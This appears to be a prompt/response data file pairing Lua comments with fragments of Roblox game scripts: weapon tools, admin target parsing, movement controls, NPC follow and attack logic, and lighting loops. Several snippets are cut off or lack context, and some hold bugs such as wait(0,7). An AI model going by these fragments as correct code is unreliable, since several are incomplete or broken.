	SprintPos = CFrame.new(0, 0, 0, 0.844756603, -0.251352191, 0.472449303, 0.103136979, 0.942750931, 0.317149073, -0.525118113, -0.219186768, 0.822318792);


Prompt: --- Source: https://web.archive.org/web/20131225070434/http://snippets.luacode.org/snippets/Deep_Comparison_of_Two_Values_3

Response:
function CompareTable(t1,t2,ignore_mt)
	local ty1 = type(t1)
	local ty2 = type(t2)

	if ty1 ~= ty2 then return false end

	--- Non-table types can be directly compared
	if ty1 ~= 'table' and ty2 ~= 'table' then return t1 == t2 end

	--- As well as tables which have the metamethod __eq
	local mt = getmetatable(t1)

	if not ignore_mt and mt and mt.__eq then return t1 == t2 end

	for k1,v1 in pairs(t1) do
		local v2 = t2[k1]
		if v2 == nil or not CompareTable(v1,v2) then return false end
	end

	for k2,v2 in pairs(t2) do
		local v1 = t1[k2]

		if v1 == nil or not CompareTable(v1,v2) then return false end
	end

	return true
end


Prompt: ---[[ Chat Behaviour Settings ]]

Response:
module.WindowDraggable = false
module.WindowResizable = false
module.ShowChannelsBar = false
module.GamepadNavigationEnabled = false
module.ShowUserOwnFilteredMessage = true	--Show a user the filtered version of their message rather than the original.


Prompt:
--------------------- TEMPLATE BLADE WEAPON ---------------------------
-- Waits for the child of the specified parent

Response:
local function WaitForChild(parent, childName)
	while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
	return parent[childName]
end

local SLASH_DAMAGE = 150
local DOWNSTAB_DAMAGE = 150
local THROWING_DAMAGE = 150
local HOLD_TO_THROW_TIME = 0.38

local Damage = 100

local MyHumanoid = nil
local MyTorso = nil
local MyCharacter = nil
local MyPlayer = nil

local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')

local BlowConnection
local Button1DownConnection
local Button1UpConnection

local PlayStabPunch
local PlayDownStab
local PlayThrow
local PlayThrowCharge

local IconUrl = Tool.TextureId  -- URL to the weapon knife icon asset

local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')

local SlashSound

local HitPlayers = {}

local LeftButtonDownTime = nil

local Attacking = false

function Blow(hit)
	if Attacking then
		BlowDamage(hit, Damage)
	end
end

function BlowDamage(hit, damage)
	local humanoid = hit.Parent:FindFirstChild('Humanoid')
	local player = PlayersService:GetPlayerFromCharacter(hit.Parent)
	if humanoid == nil then
		Handle.WallHit:Play()
		wait(0.1)
		if game.Workspace.Handle == nil then
		else
			game.Workspace.Handle:Destroy()
		end
	else
		if humanoid.Health == 0 then
		else
			Handle.Ragdoll:clone().Parent = hit.Parent
			humanoid.Health = 0
			Handle.DeadPlayer:Play()
			Handle.DeadSound:Play()
		end
		wait(0.1)
		if game.Workspace.Handle == nil then
		else
			game.Workspace.Handle:Destroy()
		end
	end
	if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then
		if not MyPlayer.Neutral then
			-- Ignore teammates hit
			if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then
				return
			end
		end
		-- final check, make sure weapon is in-hand
		local rightArm = MyCharacter:FindFirstChild('Right Arm')
		if (rightArm ~= nil) then
			-- Check if the weld exists between the hand and the weapon
			local joint = rightArm:FindFirstChild('RightGrip')
			if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then
				-- Make sure you only hit them once per swing
				if player and not HitPlayers[player] then
					TagHumanoid(humanoid, MyPlayer)
					print("Sending " .. damage)
					humanoid:TakeDamage(damage)
					Handle.Splat.Volume = 1
					Handle.Splat:Play()
					HitPlayers[player] = true
				end
			end
		end
	end
end
function TagHumanoid(humanoid, player)
	-- Add more tags here to customize what tags are available.
	while humanoid:FindFirstChild('creator') do
		humanoid:FindFirstChild('creator'):Destroy()
	end

	local creatorTag = Instance.new('ObjectValue')
	creatorTag.Value = player
	creatorTag.Name = 'creator'
	creatorTag.Parent = humanoid
	DebrisService:AddItem(creatorTag, 1.5)

	local weaponIconTag = Instance.new('StringValue')
	weaponIconTag.Value = IconUrl
	weaponIconTag.Name = 'icon'
	weaponIconTag.Parent = creatorTag
	DebrisService:AddItem(weaponIconTag, 1.5)
end

function HardAttack()
	Handle.Attack:Play()
	if PlayStabPunch then
		PlayStabPunch.Value = true
		wait(1.0)
		PlayStabPunch.Value = false
	end
end

function NormalAttack()
	Damage = DOWNSTAB_DAMAGE
	KnifeDown()
	Handle.Attack:Play()
	if PlayDownStab then
		PlayDownStab.Value = true
		wait(1.0)
		PlayDownStab.Value = false
	end
	KnifeUp()
end

function ThrowAttack()
	KnifeOut()
	if PlayThrow then
		PlayThrow.Value = true
		wait(0.3)
		if not Handle then return end
		local throwingHandle = Handle:Clone()
		DebrisService:AddItem(throwingHandle, 5)
		throwingHandle.Parent = Workspace
		Handle.Throw:Play()
		if MyCharacter and MyHumanoid then
			throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 300
			-- set the orientation to the direction it is being thrown in
			throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90))
			local floatingForce = Instance.new('BodyForce', throwingHandle)
			floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0)
			local spin = Instance.new('BodyAngularVelocity', throwingHandle)
			spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0))
		end
		Handle.Transparency = 1
		-- Wait so that the knife has left the thrower's general area
		wait(0.08)
		if throwingHandle then
			local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end)
		end
		-- must check if it still exists since we waited
		if throwingHandle then
			throwingHandle.CanCollide = true
		end
		wait(0.6)
		if Handle and PlayThrow then
			Handle.Transparency = 0
			PlayThrow.Value = false
		end
	end
	KnifeUp()
end

function KnifeUp()
	Tool.GripForward = Vector3.new(0, 0, -1)
	Tool.GripRight = Vector3.new(1, 0, 0)
	Tool.GripUp = Vector3.new(0, 1, 0)
end

function KnifeDown()
	Tool.GripForward = Vector3.new(0, 0, -1)
	Tool.GripRight = Vector3.new(1, 0, 0)
	Tool.GripUp = Vector3.new(0, -1, 0)
end

function KnifeOut()
	Tool.GripForward = Vector3.new(0, 0, -1)
	Tool.GripRight = Vector3.new(1, 0, 0)
	Tool.GripUp = Vector3.new(0, 1, 0)
end

Tool.Enabled = true

function OnLeftButtonDown()
	LeftButtonDownTime = time()
end

function OnLeftButtonUp()
	if not Tool.Enabled then return end
	-- Reset the list of hit players every time we start a new attack
	HitPlayers = {}
	if PlayThrowCharge then
		PlayThrowCharge.Value = false
	end
	if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
		Tool.Enabled = false
		local currTime = time()
		if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and
			currTime - LeftButtonDownTime < 1.15 then
		else
			Attacking = true
			if math.random(1, 2) == 1 then
				HardAttack()
			else
				NormalAttack()
			end
			Attacking = false
		end
		Tool.Enabled = true
	end
end

function OnRightButtonDown()
	RightButtonDownTime = time()
    if PlayThrowCharge then
		PlayThrowCharge.Value = true
	end
end

function OnRightButtonUp()
		if not Tool.Enabled then return end
	-- Reset the list of hit players every time we start a new attack
	HitPlayers = {}
	if PlayThrowCharge then
		PlayThrowCharge.Value = false
	end
	if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
		Tool.Enabled = false
		local currTime = time()
		if RightButtonDownTime and currTime - RightButtonDownTime > HOLD_TO_THROW_TIME and
			currTime - RightButtonDownTime < 1.15 then
			ThrowAttack()
		else
			Attacking = true
			if math.random(1, 2) == 1 then
			else
			end
			Attacking = false
		end
		Tool.Enabled = true
	end
end

function OnEquipped(mouse)
	PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch')
	PlayDownStab = WaitForChild(Tool, 'PlayDownStab')
	PlayThrow = WaitForChild(Tool, 'PlayThrow')
	PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge')
Handle.Equip:Play()
	BlowConnection = Handle.Touched:connect(Blow)
	MyCharacter = Tool.Parent
	MyTorso = MyCharacter:FindFirstChild('Torso')
	MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
	MyPlayer = PlayersService.LocalPlayer
	if mouse then
		Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown)
		Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp)
		Button2DownConnection = mouse.Button2Down:connect(OnRightButtonDown)
		Button2UpConnection = mouse.Button2Up:connect(OnRightButtonUp)
	end
	KnifeUp()
end

function OnUnequipped()
	-- Unequip logic here
	if BlowConnection then
		BlowConnection:disconnect()
		BlowConnection = nil
	end
	if Button1DownConnection then
		Button1DownConnection:disconnect()
		Button1DownConnection = nil
	end
	if Button1UpConnection then
		Button1UpConnection:disconnect()
		Button1UpConnection = nil
	end
	if Button2UpConnection then
		Button2UpConnection:disconnect()
		Button2UpConnection = nil
	end
	if Button2DownConnection then
		Button2DownConnection:disconnect()
		Button2DownConnection = nil
	end
	MyHumanoid = nil
end

Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)


Prompt:
--and create the "Event.E" syntax stub. Really it's just a stub to construct a table which our Create
--function can recognize as special.

Response:
t.Create.E = function(eventName)
	return {__eventname = eventName}
end


Prompt: -- Set up the event handlers for each button

Response:
for _, button in ipairs(buttons) do
	button.MouseEnter:Connect(function() onButtonEnter(button) end)
	button.MouseLeave:Connect(function() onButtonLeave(button) end)
end


Prompt: -- SOULDRAGON'S INSANAQUARIUM VERTICLE FISH MOVEMENT SCRIPT

Response:
hvr = script.Parent.Parent.Hover
while true do
hvr.position = Vector3.new(0,4,0)
wait(1)
hvr.position = Vector3.new(0,3,0)
wait(2)
hvr.position = Vector3.new(0,5,0)
wait(4)
hvr.position = Vector3.new(0,2,0)
wait(1)
end


Prompt: --print("light loaded")

Response:
local light = script.Parent

while true do

		light.Transparency = 1

		wait(28.5)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(0.4)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(3)

	    light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(0.4)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(3)

	    light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(0.4)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(3)

	    light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(0.4)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(3)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(0.4)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(3)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(0.4)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(3)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(0.4)

		light.Transparency = 0

		wait(0,7)

		light.Transparency = 1

		wait(3)

		end


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

local damage = 0

local slash_damage = 0

sword = script.Parent.Handle
Tool = script.Parent

function attack()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

Tool.Enabled = true

function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	attack()

	wait(1)

	Tool.Enabled = true
end

function onEquipped()
	print("Running Copy")
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)


Prompt:
----------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
--//Server Animations
------//Idle Position

Response:
self.SV_GunPos = CFrame.new(-.3, -.2, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))

self.SV_RightArmPos = CFrame.new(-0.575, 0.65, -1.185) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Server
self.SV_LeftArmPos = CFrame.new(1.15,0.25,-1.3) * CFrame.Angles(math.rad(-95),math.rad(20),math.rad(-25))	--server

self.SV_RightElbowPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))		--Client
self.SV_LeftElbowPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))	--Client

self.SV_RightWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))		--Client
self.SV_LeftWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))


Prompt:
-- Settings can be modified in lines 13-17
--=======================================--

Response:
local sm = Color3.fromRGB(100, 100, 100)--color of the messages
local welcomeMessage = "Welcome to the game!" -- message that a player is shown when they join
local welcomeMessageOn = true -- set to true to give a player a message when they join the game
local joinMessage = " discovered us. Good day." -- will display as "[player] has joined.""
local displayJoinMessage = true
local leftMessage = " quit up." -- will display as "[player] has left."
local displayLeaveMessage = true


Prompt: --recoil data

Response:
local currentcspeed = 1.5
local recmult = 1
local rectime = 0.1
local recdampmult = 3
local recxamount = 10
local recyamount = 4
local reczamount = 15
local recoilcf = CFrame.new()
local frametick = tick()
local recoiltick = tick()


Prompt: --// Explosive Settings

Response:
	BlastPressue = 500000;
	BlastRadius = 10;
	DestroyJointRadius = 10;
	ExplosionType = Enum.ExplosionType.NoCraters; -- Might wanna leave it like this

	}

return Settings


Prompt:
-- This default upgrader is going to turn whatever brick touches it, into a sword, at least the mesh part.
--------------------

Response:
script.Parent.Upgrader.Touched:connect(function(Part)
	if Part:FindFirstChild("Cash") then
		Part.Cash.Value = Part.Cash.Value * 2 -- Try not to use * because if the game lags, parts may be worth millions each due to debounce
		if meshUpgrade == true then

			for i,v in pairs(Part:GetChildren())do
				if v:IsA("SpecialMesh") then
					v:remove()
				end
			end

			local m = Instance.new("SpecialMesh",Part)
			m.MeshId = Random
			m.TextureId = Random
		end
	end
end)


Prompt:
-- Choose current Touch control module based on settings (user, dev)
-- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable

Response:
function ControlModule:SelectTouchModule(): ({}?, boolean)
	if not UserInputService.TouchEnabled then
		return nil, false
	end
	local touchModule
	local DevMovementMode = Players.LocalPlayer.DevTouchMovementMode
	if DevMovementMode == Enum.DevTouchMovementMode.UserChoice then
		touchModule = movementEnumToModuleMap[UserGameSettings.TouchMovementMode]
	elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then
		return nil, true
	else
		touchModule = movementEnumToModuleMap[DevMovementMode]
	end
	return touchModule, true
end

local function calculateRawMoveVector(humanoid: Humanoid, cameraRelativeMoveVector: Vector3): Vector3
	local camera = Workspace.CurrentCamera
	if not camera then
		return cameraRelativeMoveVector
	end

	if humanoid:GetState() == Enum.HumanoidStateType.Swimming then
		return camera.CFrame:VectorToWorldSpace(cameraRelativeMoveVector)
	end

	local cameraCFrame = camera.CFrame

	if VRService.VREnabled and FFlagUserFlagEnableNewVRSystem and humanoid.RootPart then
		-- movement relative to VR frustum
		local cameraDelta = humanoid.RootPart.CFrame.Position - cameraCFrame.Position
		if cameraDelta.Magnitude < 3 then -- "nearly" first person
			local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
			cameraCFrame = cameraCFrame * vrFrame
		end
	end

	local c, s
	local _, _, _, R00, R01, R02, _, _, R12, _, _, R22 = cameraCFrame:GetComponents()
	if R12 < 1 and R12 > -1 then
		-- X and Z components from back vector.
		c = R22
		s = R02
	else
		-- In this case the camera is looking straight up or straight down.
		-- Use X components from right and up vectors.
		c = R00
		s = -R01*math.sign(R12)
	end
	local norm = math.sqrt(c*c + s*s)
	return Vector3.new(
		(c*cameraRelativeMoveVector.x + s*cameraRelativeMoveVector.z)/norm,
		0,
		(c*cameraRelativeMoveVector.z - s*cameraRelativeMoveVector.x)/norm
	)
end

function ControlModule:OnRenderStepped(dt)
	if self.activeController and self.activeController.enabled and self.humanoid then
		-- Give the controller a chance to adjust its state
		self.activeController:OnRenderStepped(dt)

		-- Now retrieve info from the controller
		local moveVector = self.activeController:GetMoveVector()
		local cameraRelative = self.activeController:IsMoveVectorCameraRelative()

		local clickToMoveController = self:GetClickToMoveController()
		if self.activeController ~= clickToMoveController then
			if moveVector.magnitude > 0 then
				-- Clean up any developer started MoveTo path
				clickToMoveController:CleanupPath()
			else
				-- Get move vector for developer started MoveTo
				clickToMoveController:OnRenderStepped(dt)
				moveVector = clickToMoveController:GetMoveVector()
				cameraRelative = clickToMoveController:IsMoveVectorCameraRelative()
			end
		end

		-- Are we driving a vehicle ?
		local vehicleConsumedInput = false
		if self.vehicleController then
			moveVector, vehicleConsumedInput = self.vehicleController:Update(moveVector, cameraRelative, self.activeControlModule==Gamepad)
		end

		-- If not, move the player
		-- Verification of vehicleConsumedInput is commented out to preserve legacy behavior,
		-- in case some game relies on Humanoid.MoveDirection still being set while in a VehicleSeat
		--if not vehicleConsumedInput then
			if cameraRelative then
				moveVector = calculateRawMoveVector(self.humanoid, moveVector)
			end
			self.moveFunction(Players.LocalPlayer, moveVector, false)
		--end

		-- And make them jump if needed
		self.humanoid.Jump = self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping())
	end
end

function ControlModule:OnHumanoidSeated(active: boolean, currentSeatPart: BasePart)
	if active then
		if currentSeatPart and currentSeatPart:IsA("VehicleSeat") then
			if not self.vehicleController then
				self.vehicleController = self.vehicleController.new(CONTROL_ACTION_PRIORITY)
			end
			self.vehicleController:Enable(true, currentSeatPart)
		end
	else
		if self.vehicleController then
			self.vehicleController:Enable(false, currentSeatPart)
		end
	end
end

function ControlModule:OnCharacterAdded(char)
	self.humanoid = char:FindFirstChildOfClass("Humanoid")
	while not self.humanoid do
		char.ChildAdded:wait()
		self.humanoid = char:FindFirstChildOfClass("Humanoid")
	end

	self:UpdateTouchGuiVisibility()

	if self.humanoidSeatedConn then
		self.humanoidSeatedConn:Disconnect()
		self.humanoidSeatedConn = nil
	end
	self.humanoidSeatedConn = self.humanoid.Seated:Connect(function(active, currentSeatPart)
		self:OnHumanoidSeated(active, currentSeatPart)
	end)
end

function ControlModule:OnCharacterRemoving(char)
	self.humanoid = nil

	self:UpdateTouchGuiVisibility()
end

function ControlModule:UpdateTouchGuiVisibility()
	if self.touchGui then
		local doShow = self.humanoid and GuiService.TouchControlsEnabled
		self.touchGui.Enabled = not not doShow -- convert to bool
	end
end


Prompt:
----------------------------------
------------VARIABLES-------------
----------------------------------

Response:
User = nil
Connector = game.Workspace:FindFirstChild("GlobalPianoConnector")
if not Connector or not Connector:IsA("RemoteEvent") then
	error("The piano requires a RemoteEvent named GlobalPianoConnector to be in Workspace.")
end
local SynthesiaKeys = Piano.Keys.Keys:GetChildren()
local Important = Piano.Case.Desk.Important
for i,v in pairs(SynthesiaKeys) do
	v.Transparency = 1
end
local blocker = Piano.Case.Blocker
blocker.Transparency = 1
blocker.CanCollide = false


Prompt:
--------------------------------------
-- List of named places in the game

Response:
local _places = {
	lobby = 0,
	gameplay_development = 0,
	queue_default = 0,
	queue_deathmatch = 0,
	queue_teamDeathmatch = 0,
	queue_freePlay = 0
}


Prompt: -- << FUNCTIONS >>

Response:
function module:ParseQualifier(q, speaker, targetPlayers, takeExactIndName)
	targetPlayers = targetPlayers or {}
	local speakerData = main.pd[speaker]
	local firstChar = string.sub(q,1,1)
	local remainingChars = string.sub(q,2)
	local endLength = #remainingChars
	local individual = false

	if firstChar == "@" and string.sub(remainingChars, endLength-1, endLength) then
		remainingChars = string.sub(remainingChars, 1, endLength-1)
	end

	if q == "me" then
		targetPlayers[speaker] = true

	elseif q == "all" then
		for i, plr in pairs(main.players:GetChildren()) do
			targetPlayers[plr] = true
		end

	elseif q == "random" then
		targetPlayers[game.Players:GetChildren()[math.random(1,#game.Players:GetChildren())]] = true

	elseif q == "others" then
		for i, plr in pairs(main.players:GetChildren()) do
			if plr ~= speaker then
				targetPlayers[plr] = true
			end
		end

	elseif q == "admins" or q == "nonadmins" then
		for i, plr in pairs(main.players:GetChildren()) do
			local pdata = main.pd[plr]
			if pdata and ((q == "admins" and pdata.Rank > 0) or (q == "nonadmins" and pdata.Rank == 0)) then
				targetPlayers[plr] = true
			end
		end

	elseif q == "nbc" or q == "bc" or q == "tbc" or q == "obc" or q == "premium" or q == "prem" then
		for i, plr in pairs(main.players:GetChildren()) do
			if plr.MembershipType == memberships[q] then
				targetPlayers[plr] = true
			end
		end

	elseif q == "friends" or q == "nonfriends" then
		for i, plr in pairs(main.players:GetChildren()) do
			if (q == "friends" and speakerData.Friends[plr.Name]) or (q == "nonfriends" and not speakerData.Friends[plr.Name] and plr ~= speaker) then
				targetPlayers[plr] = true
			end
		end

	elseif q == "r6" or q == "r15" then
		for i, plr in pairs(main.players:GetChildren()) do
			local humanoid = main:GetModule("cf"):GetHumanoid(plr)
			if humanoid and ((q == "r6" and humanoid.RigType == Enum.HumanoidRigType.R6) or (q == "r15" and humanoid.RigType == Enum.HumanoidRigType.R15)) then
				targetPlayers[plr] = true
			end
		end

	elseif q == "rthro" or q == "nonrthro" then
		for i, plr in pairs(main.players:GetChildren()) do
			local humanoid = main:GetModule("cf"):GetHumanoid(plr)
			if humanoid then
				local bts = humanoid:FindFirstChild("BodyTypeScale")
				if bts and ((q == "rthro" and bts.Value > 0.9) or (q == "nonrthro" and bts.Value <= 0.9)) then
					targetPlayers[plr] = true
				end
			end
		end

	elseif firstChar == "@" then -- Select Rank
		local selectedRanks = {}
		local count = 0
		for _, rankDetails in pairs(main.settings.Ranks) do
			local rankId = tostring(rankDetails[1])
			local rankName = string.lower(rankDetails[2])
			if string.sub(rankName, 1, #remainingChars) == remainingChars then
				selectedRanks[rankId] = true
				count = count + 1
			end
		end
		if count > 0 then
			for i, plr in pairs(main.players:GetChildren()) do
				local pdata = main.pd[plr]
				if pdata and selectedRanks[tostring(pdata.Rank)] then
					targetPlayers[plr] = true
				end
			end
		end

	elseif firstChar == "%" then -- Select Team
		local selectedTeams = {}
		local count = 0
		for _,team in pairs(main.teams:GetChildren()) do
			local teamName = string.lower(team.Name)
			if string.sub(teamName, 1, #remainingChars) == remainingChars then
				selectedTeams[tostring(team.TeamColor)] = true
				count = count + 1
			end
		end
		if count > 0 then
			for i, plr in pairs(main.players:GetChildren()) do
				if selectedTeams[tostring(plr.TeamColor)] then
					targetPlayers[plr] = true
				end
			end
		end

	else -- Individual
		individual = true
		if takeExactIndName then
			targetPlayers[q] = true
		else
			for i, plr in pairs(main.players:GetChildren()) do
				local plrName = string.lower(plr.Name)
				if string.sub(plrName, 1, #q) == q then
					targetPlayers[plr] = true
				end
			end
		end
	end
	local targetPlayersArray = {}
	for plr, _ in pairs(targetPlayers) do
		table.insert(targetPlayersArray, plr)
	end
	return targetPlayers, targetPlayersArray, individual
end

function module:GetTargetPlayers(speaker, args, originalArgs, commandPrefix, commandPrefixes, commandName, individual)
	local qArg = args[1]
	local targetPlayers = {}
	local qBatches = {}
	local qUsed = {}
	local speakerData = main.pd[speaker]
	local qualifierPresent = false
	if qArg and type(qArg) ~= "userdata" and type(qArg) ~= "number" then
		qualifierPresent = true
	end
	if not qualifierPresent and commandPrefix == main.settings.UniversalPrefix then
		table.insert(args, 1, "me")
		qArg = "me"
		qualifierPresent = true
	end
	if qualifierPresent then
		qArg:gsub('([^'..settings.QualifierBatchKey..']+)',function(c) table.insert(qBatches, c) end);
		table.remove(args, 1)
	end
	for _, q in pairs(qBatches) do
		qUsed[q] = true
		targetPlayers = module:ParseQualifier(q, speaker, targetPlayers)
	end

	--Check if player is selecting more than 1 person and modify based on their rank
	local ignoreSingleUse = {["view"] = true, ["handto"] = true;}
	if not ignoreSingleUse[commandName] then
		local totalPlrs = 0
		for plr, _ in pairs(targetPlayers) do
			totalPlrs = totalPlrs + 1
		end
		local onlyMe = true
		for i,v in pairs(qBatches) do
			if v ~= "me" then
				onlyMe = false
			end
		end
		local speakerRankName = main:GetModule("cf"):GetRankName(speakerData.Rank)
		if individual and totalPlrs > 0 then
			for plr,_ in pairs(targetPlayers) do
				return plr
			end
		elseif speakerData.Rank < 2 and not onlyMe then
			main:GetModule("cf"):FormatAndFireError(speaker, "QualifierLimitToSelf", speakerRankName)
			targetPlayers = {}
		elseif speakerData.Rank < 3 and totalPlrs > 1 then
			main:GetModule("cf"):FormatAndFireError(speaker, "QualifierLimitToOnePerson", speakerRankName)
			targetPlayers = {}
		end
	end

	--Check Universal Prefix and adjust arguments accordingly
	--if commandPrefix == main.settings.UniversalPrefix or (main:GetModule("cf"):FindValue(commandPrefixes, main.settings.UniversalPrefix) and qArg == nil) then
	if #originalArgs == 0 then
		targetPlayers = {}
		targetPlayers[speaker] = true
	end

	return targetPlayers
end

return module


Prompt:
--                     have problems with pausing and playing
--

Response: music.Name = "Player" -- This determines the name of the source of Audio. Name it whatever you want.


Prompt:
--[=[
	@class Symbol

	Symbols are simply unique objects that can be used as unique identifiers.
]=]

Response:
local Symbol = {}
Symbol.__index = Symbol


Prompt:
--
--		local targetOffsetVector = (lastTargetPos - target)
--		if targetOffsetVector.magnitude < math.huge then
--			targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1)
--		end

Response:
		if targetOffset > TargetOffsetMax then
		--if targetOffsetVector.magnitude > TargetOffsetMax then
			--print("moveto")
			local startPoint = character.HumanoidRootPart.Position
			local humanoidState = character.Humanoid:GetState()
			if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then
				--print("this")
				local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0))
				local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
				if hitPart then
					startPoint = hitPoint
				end
			end
			--print("making new path")
			local newTarget = target
			local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0))
			local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
			if hitPoint then
				if (hitPoint - target).magnitude > 4 then
					newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0)
				end
			end

			--local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0)
			path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500)
			if path.Status ~= Enum.PathStatus.Success then
				--print(tostring(path.Status))
			end
			--path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500)


Prompt: --- Alias of Registry:GetStore(...)

Response:
function Command:GetStore(...)
	return self.Dispatcher.Cmdr.Registry:GetStore(...)
end


Response:
dist=20

function followany()
following=true
	while following==true do

		local ch=game.Players:children()
		for i=1, #ch do
			local l=game.Workspace:findFirstChild(ch[i].Name)
			if l~=nil then
				local s=l.Torso
				local p=l.Torso.Position
				local q=script.Parent.Torso.Position
				local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )
				if smallest==nil then
					smallest=d
					target=s
				elseif d<smallest then
					smallest=d
					target=s
				end
			end
		end

		if smallest==nil then stopmoving() return end

		if smallest>6*dist then return end

		script.Parent.Humanoid:MoveTo(target.Position, target)

		wait(0.5)
		for i=1, 6 do
			if target.Parent.Humanoid.Health<1 then stopmoving() else	wait(0.5) end
		end
	end
end

function gohome()
	script.Parent.Humanoid:MoveTo(Vector3.new(0,0,0), game.Workspace.Bases.Base)
end
function stopmoving()
	script.Parent.Humanoid:MoveTo(script.Parent.Torso.Position, script.Parent.Torso)
end

function follow(name)
	following=true

	local p=game.Workspace:findFirstChild(name)
	if p==nil then return end
	while following==true do
		script.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso)
		wait(0.5)
		for i=1, 3 do
			if p.Humanoid.Health<1 then following=false; stopmoving() return end
			wait(0.5)
		end
	end
end

function attack(name)
	if script.Parent:findFirstChild("Sword")~=nil then
		following=true
		local p=game.Workspace:findFirstChild(name)
		if p==nil then return end
		while following==true do
			script.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso)
			wait(0.5)
			for i=1, 3 do
				if p.Humanoid.Health<1 then following=false; stopmoving() return end
				local l=p.Torso.Position
				local q=script.Parent.Torso.Position
				local d=math.sqrt( ((l.x-q.x)^2)+((l.y-q.y)^2)+((l.z-q.z)^2) )
				if d<10 then
					script.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso); slash()
					if (q.y-l.y)>3 and (q.y-l.y)<7 then
						script.Parent.Humanoid:MoveTo(p.Torso.Position+Vector3.new(math.random(-4,4),0,math.random(-4,4)), p.Torso);
					end
				end
				wait(1)
			end
		end
	end
end

function attackany()
if script.Parent:findFirstChild("Sword")~=nil then

	following=true
		while following==true do

			local ch=game.Players:children()
			for i=1, #ch do
				local l=game.Workspace:findFirstChild(ch[i].Name)
				if l~=nil then
					local s=l.Torso
					local p=l.Torso.Position
					local q=script.Parent.Torso.Position
					local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )
					if smallest==nil then
						smallest=d
						target=s
					elseif d<smallest then
						smallest=d
						target=s
					end
				end
			end

			if smallest==nil then stopmoving() return end

			if smallest>6*dist then return end

			script.Parent.Humanoid:MoveTo(target.Position, target)

			if smallest<10 then
				slash()
			end
			if target.Parent==nil then stopmoving() return end
			wait(0.5)
			for i=1, 3 do
				if target.Parent.Humanoid.Health<1 then
